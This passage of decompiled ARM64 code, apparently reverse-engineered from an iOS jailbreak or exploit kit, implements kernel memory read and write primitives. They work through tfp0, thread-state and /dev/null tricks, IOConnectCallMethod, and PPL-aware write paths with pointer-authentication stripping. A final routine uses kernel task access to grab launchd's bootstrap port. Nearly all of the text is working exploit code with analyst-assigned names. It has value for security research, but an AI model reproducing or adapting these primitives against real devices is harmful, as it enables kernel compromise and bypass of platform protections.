unsigned __int32 v17; // w8 + unsigned __int32 v18[2]; // x24 + unsigned __int64 v19; // x20 + __int64 v20; // x8 + size_t offIGuess; // x26 + unsigned __int64 v22; // x21 + void *outBufWithOffAndOff; // x27 + unsigned __int64 v24; // x22 + uint64_t v25; // x8 + __int64 v26; // x9 + unsigned __int64 v27; // x8 + unsigned __int64 v28; // x19 + __int64 v29; // x25 + kern_return_t v30; // w0 + uint64_t qword188; // x25 + __int64 v32; // x19 + __int64 v33; // x25 + __int64 v34; // x0 + kern_return_t state; // w0 + unsigned int v36; // w19 + __int64 v37; // x0 + unsigned int v38; // w0 + unsigned int v39; // w8 + unsigned __int64 vaddr__; // [xsp+8h] [xbp-2B8h] + __int64 outBuf_; // [xsp+10h] [xbp-2B0h] + unsigned int size_; // [xsp+1Ch] [xbp-2A4h] + int v43; // [xsp+20h] [xbp-2A0h] + __int64 outBufWithOff; // [xsp+28h] [xbp-298h] + __int64 vaddrPlusI; // [xsp+30h] [xbp-290h] + int fd; // [xsp+38h] [xbp-288h] BYREF + mach_msg_type_number_t v47; // [xsp+3Ch] [xbp-284h] BYREF + natural_t old_state[134]; // [xsp+40h] [xbp-280h] BYREF + __int64 v49; // [xsp+258h] [xbp-68h] BYREF + mach_msg_type_number_t old_stateCnt[4]; // [xsp+260h] [xbp-60h] BYREF + + v5 = 0xAD001; + if ( krwCtx->threadForKernelRead + 1 >= 2 ) + { + if ( *(_QWORD *)&krwCtx->gap42[40] ) + { + vaddr_ = vaddr; + if ( validate_addr_maybe2(krwCtx, vaddr) ) + { + fd = -1; + if ( !a5 || (v5 = fd_open_dev_null(&fd), !(_DWORD)v5) ) + { + if ( size ) + { + iMaybe = 0; + size_ = size; + vaddr__ = vaddr_; + outBuf_ = outBuf; + while ( 1 ) + { + sizeMinusI = size - iMaybe; + iPtr = iMaybe; + vaddrPlusI = vaddr_ + iMaybe; + if ( (krwCtx->qword188 & vaddrPlusI) == 0 && sizeMinusI >= 0x4000 && sub_25734((__int64)krwCtx) ) + { + someLargeNumber = krwCtx->someLargeNumber; + if ( someLargeNumber <= 0x1F530F027FFFFFLL ) + v16 = 0x4000; + else + v16 = 0x80000; + if ( someLargeNumber <= 0x2711FFFFFFFFFFLL ) + v17 = v16; + else + v17 = 528; + if ( sizeMinusI >= v17 ) + v18[0] = v17; + else + v18[0] = sizeMinusI; + v5 = sub_26204((__int64)krwCtx, vaddrPlusI, (char *)(outBuf + iPtr), v18[0]); +LABEL_68: + if ( (_DWORD)v5 ) + goto LABEL_72; + goto LABEL_69; + } + if ( sizeMinusI >= 0x210 ) + *(_QWORD *)v18 = 528; + else + *(_QWORD *)v18 = sizeMinusI; + if ( krwCtx->threadForKernelRead + 1 < 2 || !*(_QWORD *)&krwCtx->gap42[40] ) + { + v5 = 708609; + goto LABEL_72; + } + if ( v18[0] ) + break; +LABEL_69: + iMaybe = v18[0] + iPtr; + if ( v18[0] + (unsigned int)iPtr >= size ) + goto LABEL_70; + } + v19 = 0; + v20 = iPtr; + offIGuess = 0; + v43 = v20; + outBufWithOff = outBuf + v20; + while ( 1 ) + { + v22 = v19 + vaddrPlusI; + outBufWithOffAndOff = (void *)(v19 + outBufWithOff); + v24 = *(_QWORD *)v18 - v19; + if ( krwCtx->someLargeNumber >= 0x27120F04B00003LL && (krwCtx->flags & 0x20) != 0 ) + { + *(_QWORD *)old_stateCnt = 0; + v47 = 132; + qword188 = krwCtx->qword188; + if ( (qword188 & v22) >= (unsigned __int64)(unsigned int)krwCtx->pageSizeOrSomething - 528 ) + v32 = (unsigned int)krwCtx->pageSizeOrSomething - 528LL; + else + v32 = qword188 & v22; + if ( validate_addr((__int64)krwCtx, *(_QWORD *)&krwCtx->gap42[48]) ) + { + *(_QWORD *)old_stateCnt = *(_QWORD *)&krwCtx->gap42[48]; + goto LABEL_45; + } + sub_38D60((__int64)krwCtx, *(_QWORD *)&krwCtx->gap42[40], old_stateCnt, 8u, 0); + v5 = v37; + if ( !(_DWORD)v37 ) + { + *(_QWORD *)&krwCtx->gap42[48] = *(_QWORD *)old_stateCnt; +LABEL_45: + v33 = v32 + (v22 & ~qword188); + __dsb(0xBu); + v49 = v33 - 16; + physwritebuf_idk_maybe(krwCtx, *(_QWORD *)&krwCtx->gap42[40], &v49, 8u, 0); + v5 = v34; + if ( !(_DWORD)v34 ) + { + state = thread_get_state(krwCtx->threadForKernelRead, 0x11, old_state, &v47); + if ( state ) + { + v36 = state | 0x80000000; + } + else if ( v47 == 132 ) + { + if ( v33 - v22 + 528 <= v24 ) + offIGuess = v33 - v22 + 528; + else + offIGuess = *(_QWORD *)v18 - v19; + memcpy(outBufWithOffAndOff, (char *)old_state + v22 - v33, offIGuess); + v36 = 0; + } + else + { + v36 = 708642; + } + physwritebuf_idk_maybe(krwCtx, *(_QWORD *)&krwCtx->gap42[40], old_stateCnt, 8u, 0); + if ( v36 ) + v39 = v36; + else + v39 = v38; + if ( v38 ) + v5 = v39; + else + v5 = v36; + } + } + } + else + { + old_stateCnt[0] = 132; + v25 = krwCtx->qword188; + v26 = v22 & ~v25; + v27 = v25 & v22; + if ( v27 >= (unsigned __int64)(unsigned int)krwCtx->pageSizeOrSomething - 528 ) + v27 = (unsigned int)krwCtx->pageSizeOrSomething - 528LL; + v28 = v27 + v26; + v29 = **(_QWORD **)&krwCtx->gap42[24]; + __dsb(0xBu); + **(_QWORD **)&krwCtx->gap42[24] = v27 + v26 - 16; + v30 = thread_get_state(krwCtx->threadForKernelRead, 17, old_state, old_stateCnt); + if ( v30 ) + { + v5 = v30 | 0x80000000; + } + else if ( old_stateCnt[0] == 132 ) + { + if ( v28 - v22 + 528 <= v24 ) + offIGuess = v28 - v22 + 528; + else + offIGuess = *(_QWORD *)v18 - v19; + memcpy(outBufWithOffAndOff, (char *)old_state + v22 - v28, offIGuess); + v5 = 0; + } + else + { + v5 = 708642; + } + **(_QWORD **)&krwCtx->gap42[24] = v29; + } + if ( !(_DWORD)v5 ) + { + v19 += offIGuess; + if ( v19 < *(_QWORD *)v18 ) + continue; + } + size = size_; + vaddr_ = vaddr__; + outBuf = outBuf_; + LODWORD(iPtr) = v43; + goto LABEL_68; + } + } +LABEL_70: + v5 = 0; +LABEL_72: + if ( fd != -1 ) + fd_close(fd); + } + } + } + } + return v5; +} +// 2999C: variable 'v34' is possibly undefined +// 29A04: variable 'v37' is possibly undefined +// 29A7C: variable 'v38' is possibly undefined + +//----- (0000000000029AD0) ---------------------------------------------------- +__int64 __fastcall kreadbuf_via_tfp0( + vm_map_read_t target_task, + __int64 vaddr, + mach_vm_size_t size, + mach_vm_size_t size2, + __int64 outBuf, + _QWORD *a6) +{ + mach_vm_size_t v8; // x21 + __int64 baseAddr; // x24 + mach_vm_size_t v12; // x25 + mach_vm_size_t v13; // x2 + __int64 result; // x0 + mach_vm_size_t outsize; // [xsp+8h] [xbp-48h] BYREF + + if ( !size ) + return 4; + v8 = size; + baseAddr = 0; + if ( size2 ) + v12 = size2; + else + v12 = size; + while ( 1 ) + { + outsize = v8; + v13 = v8 >= v12 ? v12 : v8; + result = mach_vm_read_overwrite(target_task, baseAddr + vaddr, v13, baseAddr + outBuf, &outsize); + if ( (_DWORD)result ) + break; + baseAddr = (unsigned int)(outsize + baseAddr); + v8 -= outsize; + if ( !v8 ) + { + result = 0; + if ( a6 ) + *a6 = baseAddr; + return result; + } + } + return result; +} + +//----- (0000000000029B78) ---------------------------------------------------- +bool __fastcall kread64_internal(struct_krwCtx *a1, unsigned __int64 a2, _QWORD *a3) +{ + __int64 (__fastcall *v3)(struct_krwCtx *, unsigned __int64, _QWORD *, _QWORD, __int64); // x8 + int v4; // w0 + int v5; // w0 + __int64 v7; // [xsp+8h] [xbp-8h] BYREF + + *a3 = 0; + v3 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, _QWORD *, _QWORD, __int64))&a1->gap4[44]; + if ( v3 ) + { + v4 = v3(a1, a2, a3, (unsigned int)a1->int168, 1); + goto LABEL_3; + } + if ( a1->threadForKernelRead + 1 >= 2 && *(_QWORD *)&a1->gap42[40] ) + { + v4 = kreadbuf_via_dev_null_and_thread_state(a1, a2, (__int64)a3, a1->int168, 1); + } + else if ( (unsigned int)(*(_DWORD *)&a1->gap42[56] + 1) >= 2 && *(_QWORD *)&a1->gap42[72] && *(_QWORD *)&a1->gap42[80] ) + { + v4 = kreadbuf_via_IOConnectCallMethod((__int64)a1, a2, (__int64)a3, a1->int168, 1); + } + else + { + if ( a1->gap1911[0] == -1 || a1->gap1911[1] == -1 ) + goto LABEL_22; + if ( a1->gap1915 != -1 && a1->gap190u ) + { + v4 = kreadbuf_via_dev_null_only((__int64)a1, a2, (__int64)a3, a1->int168, 1); + goto LABEL_3; + } + if ( a1->gap1913 == -1 || a1->gap1914 == -1 ) + { +LABEL_22: + v5 = kreadbuf_via_tfp0(a1->gap191[693], a2, a1->int168, (unsigned int)a1->gap16C[3], (__int64)a3, &v7); + return v5 == 0; + } + v4 = kreadbuf_via_dev_null_simple(a1, a2, a3, a1->int168, 1); + } +LABEL_3: + if ( v4 ) + v5 = 5; + else + v5 = 0; + return v5 == 0; +} + +//----- (0000000000029CB0) ---------------------------------------------------- +unsigned __int64 __fastcall sub_29CB0(struct_krwCtx *a1, __int64 a2) +{ + __int64 vars8; // [xsp+28h] [xbp+8h] + + if ( !krw_ctx_has_flag(a1, 89669633) || (a1->flags & 0x5584001) == 0 ) + return a2; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return krw_xpac_vaddr(a1, a2); +} +// 29D08: variable 'vars8' is possibly undefined + +//----- (0000000000029D2C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_29D2C(struct_krwCtx *a1, __int64 a2) +{ + __int64 vars8; // [xsp+18h] [xbp+8h] + + if ( !krw_ctx_has_flag(a1, 89669633) ) + return a2; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return krw_xpac_vaddr(a1, a2); +} +// 29D68: variable 'vars8' is possibly undefined + +//----- (0000000000029D88) ---------------------------------------------------- +unsigned __int64 __fastcall sub_29D88(struct_krwCtx *a1, __int64 a2) +{ + __int64 v2; // x19 + + v2 = a2; + if ( a2 && (a2 & 0x80000000000000LL) != 0 ) + { + if ( krw_ctx_has_flag(a1, 8) || krw_ctx_has_flag(a1, 0x5000000) && a1->someLargeNumber >= 0x22580A06C00000LL ) + return v2 | 0xFFFF800000000000LL; + else + return v2 | 0xFFFFFF8000000000LL; + } + return v2; +} + +//----- (0000000000029DF8) ---------------------------------------------------- +bool __fastcall this_is_the_kwrite64(__int64 a1, mach_vm_address_t address, __int64 newValue, int whatIsThis) +{ + __int64 (__fastcall *v6)(__int64, mach_vm_address_t, __int64 *, _QWORD, __int64); // x8 + int v7; // w0 + kern_return_t v8; // w21 + __int64 v10; // x23 + semaphore_t v11; // w0 + int v12; // w21 + vm_map_t v13; // w0 + mach_vm_size_t v14; // x2 + __int64 v16; // x9 + int v17; // w8 + _QWORD *v18; // x20 + kern_return_t v19; // w0 + mach_timespec_t v20; // x1 + kern_return_t v21; // w0 + __int64 v22; // [xsp+8h] [xbp-48h] BYREF + __int64 v23; // [xsp+10h] [xbp-40h] BYREF + vm_machine_attribute_val_t value[2]; // [xsp+18h] [xbp-38h] BYREF + + v22 = newValue; + v6 = *(__int64 (__fastcall **)(__int64, mach_vm_address_t, __int64 *, _QWORD, __int64))(a1 + 64); + if ( v6 ) + { + v7 = v6(a1, address, &v22, *(unsigned int *)(a1 + 360), 1); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(a1 + 172) + 1) >= 2 && *(_QWORD *)(a1 + 216) ) + { + *(_QWORD *)value = newValue; + if ( !*(_QWORD *)(a1 + 7496) ) + { + v8 = 5; + return v8 == 0; + } + v7 = sub_28F90((struct_krwCtx *)a1, address, (__int64)value, *(_DWORD *)(a1 + 360), 1); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(a1 + 232) + 1) >= 2 && *(_QWORD *)(a1 + 248) && *(_QWORD *)(a1 + 256) ) + { + v7 = sub_271B0(a1, address, (__int64)&v22, *(_DWORD *)(a1 + 360), 1); + goto LABEL_3; + } + if ( *(_DWORD *)(a1 + 6448) == -1 || *(_DWORD *)(a1 + 6452) == -1 ) + goto LABEL_27; + if ( *(_DWORD *)(a1 + 6464) == -1 || !*(_QWORD *)(a1 + 536) ) + { + if ( *(_DWORD *)(a1 + 6456) != -1 && *(_DWORD *)(a1 + 6460) != -1 ) + { + v7 = sub_25498((struct_krwCtx *)a1, address, &v22, *(_DWORD *)(a1 + 360), 1); + goto LABEL_3; + } +LABEL_27: + v8 = mach_vm_write(*(_DWORD *)(a1 + 6424), address, (vm_offset_t)&v22, *(_DWORD *)(a1 + 360)); + v13 = *(_DWORD *)(a1 + 6424); + v14 = *(int *)(a1 + 360); + value[0] = 7; + mach_vm_machine_attribute(v13, address, v14, 1u, value); + return v8 == 0; + } + v23 = newValue; + if ( whatIsThis ) + { + v7 = sub_251A4(a1, 1u, 0x2710u); + if ( v7 ) + goto LABEL_3; + if ( *(_QWORD *)(a1 + 344) < 0x1F530000000000uLL ) + { + v12 = sub_2B5BC(a1, address); + goto LABEL_32; + } + *(_QWORD *)value = newValue; + v10 = *(_QWORD *)(a1 + 40); + if ( !v10 || (v11 = *(_DWORD *)(v10 + 8), v11 + 1 < 2) ) + { + v12 = 708609; + goto LABEL_32; + } + v12 = 708609; + if ( (unsigned int)(*(_DWORD *)(v10 + 12) + 1) >= 2 ) + { + *(_QWORD *)(v10 + 32) = address; + v18 = (_QWORD *)(v10 + 32); + *(_QWORD *)(v10 + 40) = value; + *(_QWORD *)(v10 + 48) = 8; + v19 = semaphore_signal(v11); + if ( v19 ) + { + v12 = v19 | 0x80000000; +LABEL_41: + *v18 = 0; + *(_QWORD *)(v10 + 40) = 0; + *(_QWORD *)(v10 + 48) = 0; + goto LABEL_32; + } + v20 = (mach_timespec_t)3LL; + v21 = semaphore_timedwait(*(_DWORD *)(v10 + 12), v20); + v12 = *(_DWORD *)(v10 + 60); + if ( !v12 ) + { + if ( v21 ) + v12 = v21 | 0x80000000; + else + v12 = 0; + goto LABEL_41; + } + *v18 = 0; + *(_QWORD *)(v10 + 40) = 0; + *(_QWORD *)(v10 + 48) = 0; + sub_26B00(a1, 0); + } +LABEL_32: + v16 = *(_QWORD *)(a1 + 280); + v17 = 708616; + if ( v16 && *(_QWORD *)(a1 + 288) ) + { + v17 = 0; + atomic_store(0, (unsigned __int8 *)(v16 + 1)); + } + if ( v12 ) + v7 = v12; + else + v7 = v17; + goto LABEL_3; + } + v7 = sub_268F8(a1, address, (__int64)&v23, *(_DWORD *)(a1 + 360), 1); +LABEL_3: + if ( v7 ) + v8 = 5; + else + v8 = 0; + return v8 == 0; +} + +//----- (000000000002A0D0) ---------------------------------------------------- +bool __fastcall kwrite64(__int64 a1, mach_vm_address_t a2, __int64 a3) +{ + return kwrite64_last_arg(a1, a2, a3, *(unsigned __int8 *)(a1 + 12)); +} + +//----- (000000000002A0D8) ---------------------------------------------------- +__int64 __fastcall sub_2A0D8(struct_krwCtx *a1, __int64 a2, __int64 a3) +{ + int v6; // w0 + int v7; // w0 + __int64 v8; // x8 + __int64 v9; // x20 + _BYTE v11[32]; // [xsp+8h] [xbp-88h] BYREF + __int64 v12; // [xsp+28h] [xbp-68h] + _OWORD v13[3]; // [xsp+30h] [xbp-60h] BYREF + __int64 v14; // [xsp+60h] [xbp-30h] + + v14 = 0; + memset(v13, 0, sizeof(v13)); + sub_2183C((__int64)a1, a2 & ~a1->qword188, (__int64)v11); + if ( !v6 ) + return 0; + v7 = sub_38870(a1, v12 & 0xFFFFFFFFC000LL, (__int64)v13); + v8 = *(_QWORD *)&v13[0]; + if ( v7 ) + { + v9 = 0; + if ( !*(_QWORD *)&v13[0] ) + return v9; + goto LABEL_7; + } + *(_QWORD *)((a1->qword188 & a2) + *(_QWORD *)&v13[0]) = a3; + v9 = 1; + if ( v8 ) +LABEL_7: + sub_38BCC((__int64)a1, (__int64)v13); + return v9; +} +// 2A11C: variable 'v6' is possibly undefined + +//----- (000000000002A188) ---------------------------------------------------- +__int64 __fastcall kwritebuf_last_arg_1(__int64 ctx, __int64 address, __int64 buf, __int64 bufSize) +{ + return noppl_kwritebuf(ctx, address, (const void *)buf, bufSize, 1); +} + +//----- (000000000002A190) ---------------------------------------------------- +unsigned __int64 __fastcall sub_2A190(__int64 a1, unsigned int a2) +{ + __int64 v2; // x19 + unsigned __int64 result; // x0 + __int64 v4; // x8 + __int64 v5; // x9 + int v6; // [xsp+Ch] [xbp-14h] BYREF + + v2 = a2; + if ( !a2 ) + return 0; + if ( (a2 & 0x80000000) != 0 ) + { + v4 = *(_QWORD *)(a1 + 496); + if ( v4 ) + { + v5 = *(unsigned int *)(a1 + 504); + if ( (_DWORD)v5 ) + return v4 + (a2 & 0x7FFFFFFF) * v5; + } + return 0; + } + result = sub_35A50((struct_krwCtx *)a1, 0, &v6); + if ( result ) + result += v2 << v6; + return result; +} + +//----- (000000000002A200) ---------------------------------------------------- +unsigned __int64 __fastcall sub_2A200(struct_krwCtx *a1, unsigned __int64 a2, _DWORD *a3) +{ + bool v6; // cc + _BOOL4 v7; // w9 + unsigned __int64 v8; // x8 + unsigned __int64 v9; // x11 + char v10; // w12 + __int64 v11; // x10 + __int64 v12; // x13 + __int64 v13; // x13 + __int64 v14; // x12 + __int64 v15; // x12 + __int64 v16; // x9 + unsigned __int64 v17; // x8 + + if ( krw_ctx_has_flag(a1, 89669633) ) + { + if ( krw_ctx_has_flag(a1, 8) || krw_ctx_has_flag(a1, 83886080) ) + { + v6 = a1->someLargeNumber > 0x225814018FFFFFLL; + v7 = v6; + v8 = 0xFFFF9FFFFFFFFFF0LL; + if ( a1->someLargeNumber > 0x225814018FFFFFLL ) + v8 = -32; + v9 = 0xFFFFBFFFFFFFC000LL; + if ( a1->someLargeNumber > 0x225814018FFFFFLL ) + { + v10 = 46; + } + else + { + v9 = 0xFFFF9FFFFFFFC000LL; + v10 = 45; + } + v11 = 0x600000000000LL; + v12 = 0x400000000000LL; + } + else + { + v6 = a1->someLargeNumber > 0x225814018FFFFFLL; + v7 = v6; + v8 = 0xFFFFFF9FFFFFFFF0LL; + if ( a1->someLargeNumber > 0x225814018FFFFFLL ) + v8 = -32; + v9 = 0xFFFFFFBFFFFFC000LL; + if ( a1->someLargeNumber > 0x225814018FFFFFLL ) + { + v10 = 38; + } + else + { + v9 = 0xFFFFFF9FFFFFC000LL; + v10 = 37; + } + v11 = 0x6000000000LL; + v12 = 0x4000000000LL; + } + if ( v6 ) + v11 = v12; + v13 = 3; + if ( v7 ) + v13 = 1; + v14 = v13 & (a2 >> v10); + if ( v14 ) + { + v15 = v14 << (a2 & 0xF); + if ( v7 ) + v16 = (a2 & 0x10 | 0x20) << (a2 & 0xF); + else + LODWORD(v16) = v15; + } + else + { + LODWORD(v16) = ((_DWORD)a2 << 14) & 0xFFFC000; + v8 = v9; + } + *a3 = v16; + return v8 & a2 | v11; + } + else + { + v17 = HIWORD(a2); + if ( (a2 & 0x800000000000LL) != 0 ) + LODWORD(v17) = HIWORD(a2) << 14; + *a3 = v17; + return a2 | 0xFFFF800000000000LL; + } +} + +//----- (000000000002A360) ---------------------------------------------------- +bool __fastcall kreadbuf(struct_krwCtx *krwCtx, unsigned __int64 vaddr, mach_vm_size_t size, void *outBuf, __int64 a5) +{ + __int64 (*v5)(void); // x9 + int v6; // w0 + int v7; // w0 + + v5 = *(__int64 (**)(void))&krwCtx->gap4[44]; + if ( v5 ) + { + v6 = v5(); + goto LABEL_3; + } + if ( krwCtx->threadForKernelRead + 1 >= 2 && *(_QWORD *)&krwCtx->gap42[40] ) + { + v6 = kreadbuf_via_dev_null_and_thread_state(krwCtx, vaddr, (__int64)outBuf, size, a5); + } + else if ( (unsigned int)(*(_DWORD *)&krwCtx->gap42[56] + 1) >= 2 + && *(_QWORD *)&krwCtx->gap42[72] + && *(_QWORD *)&krwCtx->gap42[80] ) + { + v6 = kreadbuf_via_IOConnectCallMethod((__int64)krwCtx, vaddr, (__int64)outBuf, size, a5); + } + else + { + if ( krwCtx->gap1911[0] == -1 || krwCtx->gap1911[1] == -1 ) + goto LABEL_22; + if ( krwCtx->gap1915 != -1 && krwCtx->gap190u ) + { + v6 = kreadbuf_via_dev_null_only((__int64)krwCtx, vaddr, (__int64)outBuf, size, a5); + goto LABEL_3; + } + if ( krwCtx->gap1913 == -1 || krwCtx->gap1914 == -1 ) + { +LABEL_22: + v7 = kreadbuf_via_tfp0(krwCtx->gap191[693], vaddr, size, (unsigned int)krwCtx->gap16C[3], (__int64)outBuf, 0); + return v7 == 0; + } + v6 = kreadbuf_via_dev_null_simple(krwCtx, vaddr, outBuf, size, a5); + } +LABEL_3: + if ( v6 ) + v7 = 5; + else + v7 = 0; + return v7 == 0; +} + +//----- (000000000002A480) ---------------------------------------------------- +bool __fastcall kreadbuf_0(__int64 ctx, unsigned __int64 addr, mach_vm_size_t size, void *outBuf) +{ + return kreadbuf((struct_krwCtx *)ctx, addr, size, outBuf, 0); +} + +//----- (000000000002A488) ---------------------------------------------------- +bool __fastcall sub_2A488(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4, int a5) +{ + __int64 (*v5)(void); // x8 + int v6; // w0 + int v7; // w0 + + v5 = *(__int64 (**)(void))(a1 + 64); + if ( v5 ) + { + v6 = v5(); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(a1 + 172) + 1) >= 2 && *(_QWORD *)(a1 + 216) ) + { + v6 = sub_28F90((struct_krwCtx *)a1, a2, (__int64)a3, a4, a5); + } + else if ( (unsigned int)(*(_DWORD *)(a1 + 232) + 1) >= 2 && *(_QWORD *)(a1 + 248) && *(_QWORD *)(a1 + 256) ) + { + v6 = sub_271B0(a1, a2, (__int64)a3, a4, a5); + } + else + { + if ( *(_DWORD *)(a1 + 6448) == -1 || *(_DWORD *)(a1 + 6452) == -1 ) + goto LABEL_22; + if ( *(_DWORD *)(a1 + 6464) != -1 && *(_QWORD *)(a1 + 536) ) + { + v6 = sub_268F8(a1, a2, (__int64)a3, a4, a5); + goto LABEL_3; + } + if ( *(_DWORD *)(a1 + 6456) == -1 || *(_DWORD *)(a1 + 6460) == -1 ) + { +LABEL_22: + v7 = sub_2A7F4(*(_DWORD *)(a1 + 6424), a2, (__int64)a3, a4, *(_DWORD *)(a1 + 376)); + return v7 == 0; + } + v6 = sub_25498((struct_krwCtx *)a1, a2, a3, a4, a5); + } +LABEL_3: + if ( v6 ) + v7 = 5; + else + v7 = 0; + return v7 == 0; +} + +//----- (000000000002A56C) ---------------------------------------------------- +bool __fastcall kwritebuf_last_0(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4) +{ + return noppl_kwritebuf(a1, a2, a3, a4, 0); +} + +//----- (000000000002A574) ---------------------------------------------------- +mach_vm_address_t __fastcall ppl_kwrite32(struct_krwCtx *a1, mach_vm_address_t a2, int a3) +{ + unsigned __int64 v4; // x21 + struct_krwCtx *v5; // x19 + mach_vm_address_t result; // x0 + int newBytes; // [xsp+Ch] [xbp-24h] BYREF + __int64 vars8; // [xsp+38h] [xbp+8h] + + v4 = a2; + v5 = a1; + newBytes = a3; + if ( a1->someLargeNumber < 0x1F530F02800000LL ) + { +LABEL_8: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return noppl_kwrite32((__int64)a1, a2, a3); + } + if ( krw_ctx_has_flag(a1, 0x5184001) ) + return ppl_kwritebuf((__int64)v5, v4, &newBytes, 4); + result = sub_39090(v5, v4); + if ( result ) + { + a2 = result; + a1 = v5; + goto LABEL_8; + } + return result; +} + +//----- (000000000002A63C) ---------------------------------------------------- +void __fastcall sub_2A63C(struct_krwCtx *a1, mach_vm_address_t address, __int64 newValue) +{ + mach_vm_address_t v4; // x21 + __int64 v5; // x20 + int v6; // w3 + __int64 v7; // x0 + __int64 vars8; // [xsp+28h] [xbp+8h] + + v4 = address; + v5 = (__int64)a1; + if ( a1->someLargeNumber < 0x1F530F02800000LL ) + { + v6 = a1->gap4[8]; + } + else + { + if ( krw_ctx_has_flag(a1, 85475329) ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_13D9C((struct_krwCtx *)v5, v4, newValue); + return; + } + v7 = sub_39090((struct_krwCtx *)v5, v4); + if ( !v7 ) + return; + address = v7; + v6 = *(unsigned __int8 *)(v5 + 12); + a1 = (struct_krwCtx *)v5; + } + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + kwrite64_last_arg(a1, address, newValue, v6); +} +// 2A6A4: variable 'vars8' is possibly undefined + +//----- (000000000002A714) ---------------------------------------------------- +unsigned __int64 __fastcall kwritebuf_universal( + _QWORD *a1, + unsigned __int64 vaddr, + const void *newBytes, + mach_vm_size_t length) +{ + unsigned __int64 vaddr_; // x22 + struct_krwCtx *ctx_; // x21 + unsigned __int64 result; // x0 + __int64 vars8; // [xsp+28h] [xbp+8h] + + vaddr_ = vaddr; + ctx_ = (struct_krwCtx *)a1; + if ( a1[43] >= 0x1F530F02800000uLL ) + { + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 0x5184001) ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return ppl_kwritebuf((__int64)ctx_, vaddr_, (void *)newBytes, length); + } + result = sub_39090(ctx_, vaddr_); + if ( !result ) + return result; + vaddr = result; + a1 = &ctx_->flags; + } + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return noppl_kwritebuf((__int64)a1, vaddr, newBytes, length, 1); +} +// 2A784: variable 'vars8' is possibly undefined + +//----- (000000000002A7F4) ---------------------------------------------------- +__int64 __fastcall sub_2A7F4( + vm_map_t target_task, + mach_vm_address_t address, + __int64 a3, + mach_vm_size_t size, + unsigned int a5) +{ + unsigned int v5; // w21 + unsigned int v8; // w24 + __int64 v10; // x25 + unsigned int v11; // w26 + mach_msg_type_number_t v12; // w23 + __int64 result; // x0 + vm_machine_attribute_val_t value; // [xsp+Ch] [xbp-44h] BYREF + + v5 = size; + if ( a5 ) + v8 = a5; + else + v8 = size; + if ( (_DWORD)size ) + { + v10 = 0; + v11 = size; + while ( 1 ) + { + v12 = v11 >= v8 ? v8 : v11; + result = mach_vm_write(target_task, v10 + address, v10 + a3, v12); + if ( (_DWORD)result ) + break; + v10 += v12; + v11 -= v12; + if ( !v11 ) + goto LABEL_11; + } + } + else + { +LABEL_11: + value = 7; + mach_vm_machine_attribute(target_task, address, v5, 1u, &value); + return 0; + } + return result; +} + +//----- (000000000002A8A4) ---------------------------------------------------- +__int64 __fastcall sub_2A8A4(struct_krwCtx *a1) +{ + __int64 v1; // x19 + kern_return_t v3; // w0 + __int64 v5; // x21 + unsigned __int64 v6; // x23 + __int128 v7; // q0 + mach_port_name_t iin_name; // w1 + kern_return_t attributes; // w0 + mach_port_name_t v10; // w2 + unsigned __int64 v11; // x0 + kern_return_t v12; // w0 + mach_msg_type_number_t port_info_outCnt; // [xsp+Ch] [xbp-B4h] BYREF + integer_t port_info_out[4]; // [xsp+10h] [xbp-B0h] BYREF + __int128 v15; // [xsp+20h] [xbp-A0h] + __int128 v16; // [xsp+30h] [xbp-90h] + __int128 v17; // [xsp+40h] [xbp-80h] + int v18; // [xsp+50h] [xbp-70h] + mach_msg_type_number_t tree_infoCnt; // [xsp+54h] [xbp-6Ch] BYREF + ipc_info_tree_name_array_t tree_info; // [xsp+58h] [xbp-68h] BYREF + mach_msg_type_number_t table_infoCnt; // [xsp+64h] [xbp-5Ch] BYREF + ipc_info_name_array_t table_info; // [xsp+68h] [xbp-58h] BYREF + ipc_info_space_t space_info; // [xsp+70h] [xbp-50h] BYREF + mach_port_name_t v24; // [xsp+8Ch] [xbp-34h] BYREF + + if ( !a1 ) + return 708609; + if ( bootstrap_port + 1 > 1 ) + return 0; + v1 = 163843; + v24 = 0; + if ( krw_task_for_pid((__int64)a1, 1, &v24) ) + { + memset(&space_info, 0, sizeof(space_info)); + table_info = 0; + table_infoCnt = 0; + tree_info = 0; + tree_infoCnt = 0; + v3 = mach_port_space_info(v24, &space_info, &table_info, &table_infoCnt, &tree_info, &tree_infoCnt); + if ( v3 ) + { + v1 = v3 | 0x80000000; + } + else if ( table_infoCnt ) + { + v5 = 0; + v6 = 0; + v7 = 0u; + while ( 1 ) + { + v18 = 0; + v16 = v7; + v17 = v7; + *(_OWORD *)port_info_out = v7; + v15 = v7; + port_info_outCnt = 17; + if ( (table_info[v5].iin_type & 0x1F0000) != 0 ) + { + iin_name = table_info[v5].iin_name; + if ( iin_name + 1 >= 2 ) + { + attributes = mach_port_get_attributes(v24, iin_name, 7, port_info_out, &port_info_outCnt); + v7 = 0u; + if ( !attributes && port_info_out[3] == 128 && (~BYTE4(v16) & 6) == 0 ) + break; + } + } + ++v6; + ++v5; + if ( v6 >= table_infoCnt ) + goto LABEL_8; + } + v10 = table_info[v5].iin_name; + if ( v10 + 1 >= 2 ) + { + v11 = task_get_ipc_port(a1, v24, v10); + if ( v11 ) + { + v1 = sub_36480(a1, v11, &bootstrap_port); + if ( !(_DWORD)v1 ) + { + v12 = task_set_special_port(mach_task_self_, 4, bootstrap_port); + if ( v12 ) + v1 = v12 | 0x80000000; + else + v1 = 0; + } + } + } + } +LABEL_8: + if ( table_info && table_infoCnt ) + mach_vm_deallocate(mach_task_self_, 